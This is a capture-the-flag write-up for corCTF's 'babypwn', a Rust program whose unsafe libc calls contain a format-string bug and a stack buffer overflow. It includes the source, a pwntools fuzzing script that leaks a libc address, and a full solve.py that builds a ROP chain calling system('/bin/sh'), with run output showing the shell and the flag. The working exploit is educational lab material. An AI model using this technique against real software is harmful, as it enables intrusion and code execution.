Just another one of those typical intro babypwn challs... wait, why is this in Rust?
TL;DR
Leak LIBC address via printf() and execute ROP chain by exploiting Stack Buffer Overflow to perform a ret2libc attack with ASLR enabled.
Basic File Checks
The binary first prompts the user for a name, followed by a greeting message that appends our name. Afterwards, it asks for our favorite 🐸 emote, and then prints some wonderful ASCII art.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
frog
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
In terms of binary protection, nothing seems out of the ordinary other than PIE being enabled, which randomizes the base address of the binary each time.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=babypwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 731 Symbols No 0 9 babypwn
Static Code Analysis
It wouldn't be the Crusaders of Rust without Rust challenges! The source code is provided for this challenge. For context, Rust provides memory safety through its type system and compile time checks. However, the unsafe keyword is used here to tell the compiler to skip these safety checks for the entire chunk of code.
Even though the code is written in Rust, the unsafe block allows foreign LIBC functions to be loaded, essentially wrapping the entire Rust code in C++. These LIBC functions are usually the culprits for memory corruption vulnerabilities.
use libc;use libc_stdhandle;fn main() { unsafe {libc::setvbuf(libc_stdhandle::stdout(),&mut 0, libc::_IONBF,0);libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char); let text = [0 as libc::c_char; 64].as_mut_ptr();libc::fgets(text,64, libc_stdhandle::stdin());libc::printf("Hi, \0".as_ptr() as *const libc::c_char);libc::printf(text);libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);libc::fgets(text,128, libc_stdhandle::stdin());libc::printf(format!("{}\n\0", r#" ....... ...----. .-+++++++&&&+++--.--++++&&&&&&++. +++++++++++++&&&&&&&&&&&&&&++-+++&+ +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+- -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. .... -+--+&+ .&&+&&&&&&&&&+--+&+... .. -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+. .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--.++++++++---------+&&&&&&&&&&&&@&&++--+++&+-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++- -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&& -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@& -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+ .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&- .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+ .+&&&@@@@@@@@@@@@@@@@@@@@@&+. .-&&&&@@@@@@@@@@@@@@@&&- .-+&&&&&&&&&&&&&+-. ..--++++--."#).as_ptr() as *const libc::c_char); }}
Fuzzing printf()
The first noticeable vulnerability is the improper usage of printf that will allow us to leak addresses from the stack. We can use this as a way to leak memory address in order to defeat ASLR (Address Space Layout Randomization) and perform a ret2libc exploit.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?
To quickly find address leak that might interest us, we can fuzz each offset individually using the format specifier %{}$p.
fuzz.py
#!/usr/bin/python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify your GDB script here for debugginggdbscript ='''piebasecontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./babypwn'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='warning'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# 30: 0x464f8# Let's fuzz x valuesfor i inrange(100):try: p =process('./babypwn')# Format the counter# e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int p.sendlineafter(b'?', '%{}$p'.format(i).encode())# Receive the response p.recvuntil(b'Hi, ') result = p.recvline()print(str(i) +': '+str(result).strip()) p.close()exceptEOFError: passpy
On each fuzzing attempt, notice how the address on certain offset always end with the same 3 bit. Based on previous experience, addresses with the prefix 0x55 are usually memory addresses of the binary; whereas addresses with the prefix 0x7f belongs to LIBC.
To understand what these leaked addresses are referencing exactly, we can use info proc mappings in GDB to show us where everything for the process is mapped in memory:
Now that we know the 7th offset is particularly interested to us, we can automate the whole process using pwntools andprovide GDB as our argument to attach our process to the debugger without doing it manually.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py GDB
[+] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'./babypwn'] : pid 4063
[DEBUG] Received 0x3e bytes:
b'Process ./babypwn created; pid = 4066\n'
b'Listening on port 46023\n'
[DEBUG] Wrote gdb script to '/tmp/pwnmhxxd7mp.gdb'
target remote 127.0.0.1:46023
continue
[*] running in new terminal: ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp2_5z0qu8']
[DEBUG] Received 0x38 bytes:
b'Remote debugging from host ::ffff:127.0.0.1, port 49210\n'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x21 bytes:
b'Hello, world!\n'
b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
b'%7$p\n'
[DEBUG] Received 0x38 bytes:
b'Hi, 0x7ff5e2182080\n'
b"What's your favorite :msfrog: emote?\n"
Note that vmmap also produces the same outcome as info proc mappings.
Knowing this information allows us to calculate the offset of address that we leaked in relative to the base address of LIBC. We can do this by performing the following calculation:
__libc_base - leaked_address = offset
It is important to note that this offset is a constant value. Each time we execute the binary, the address at the 7th offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80 bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!
Leaking LIBC Address
Thanks to the buffer overflow that occurs during the second user-input, we can now perform a ret2libc attack using the offset value calculated before this.
Reading the source code should become clear very quickly that the program is reading 128 bytes from the user and place them into the text buffer that is only 64 bytes long. Fuzzing the binary shows that the buffer overflow offset is 96.
#!/usr/bin/python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''continue'''.format(**locals())# Binary filenameexe ='./babypwn'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP/RIP offsetoffset =96# Start programio =start()libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")print(io.recvuntil(b"name?\n"))io.sendline(b'%7$p')data = io.recvline()print(data)data = data.replace(b"Hi, ", b"")leak =int(data, 16)print(f"leak: {hex(leak)}")# Use GDB "info proc mappings" OR "vmmap" to get address where libc.so.6 is loaded into memory# pwndbg> x <__libc_start_main> - <address.leak>libc_base = leak +0xf80libc.address = libc_baseprint(f"libc_addr @ {hex(libc.address)}")print(io.recvuntil(b"?\n"))rop =ROP(libc)rop.call(rop.ret)rop.system(next(libc.search(b"/bin/sh")))io.sendline(flat({96: rop.chain()}))io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[+] Starting local process './babypwn': pid 3442
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x21 bytes:
b'Hello, world!\n'
b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
b'%7$p\n'
[DEBUG] Received 0x38 bytes:
b'Hi, 0x7f1f7f746080\n'
b"What's your favorite :msfrog: emote?\n"
b'Hi, 0x7f1f7f746080\n'
leak: 0x7f1f7f746080
libc_addr @ 0x7f1f7f747000
b"What's your favorite :msfrog: emote?\n"
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[DEBUG] Sent 0x81 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│
00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│
00000060 c2 e0 76 7f 1f 7f 00 00 25 e7 76 7f 1f 7f 00 00 │··v·│····│%·v·│····│
00000070 31 d0 8d 7f 1f 7f 00 00 30 33 79 7f 1f 7f 00 00 │1···│····│03y·│····│
00000080 0a │·│
00000081
[*] Switching to interactive mode
[DEBUG] Received 0x335 bytes:
b'\n'
b' ....... ...----.\n'
b' .-+++++++&&&+++--.--++++&&&&&&++.\n'
b' +++++++++++++&&&&&&&&&&&&&&++-+++&+\n'
b' +---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-\n'
b' -+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....\n'
b' -+--+&+ .&&+&&&&&&&&&+--+&+... ..\n'
b' -++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.\n'
b' .+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--\n'
b'.++++++++---------+&&&&&&&&&&&&@&&++--+++&+\n'
b'-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-\n'
b'.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-\n'
b' -++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&\n'
b' -+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&\n'
b' -+&&&@@@@@&&&+++++++++++++++++&&&@@@@+\n'
b' .+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-\n'
b' .+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+\n'
b' .+&&&@@@@@@@@@@@@@@@@@@@@@&+.\n'
b' .-&&&&@@@@@@@@@@@@@@@&&-\n'
b' .-+&&&&&&&&&&&&&+-.\n'
b' ..--++++--.\n'
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1f bytes:
b'corctf{why_w4s_th4t_1n_rust???}'
corctf{why_w4s_th4t_1n_rust???}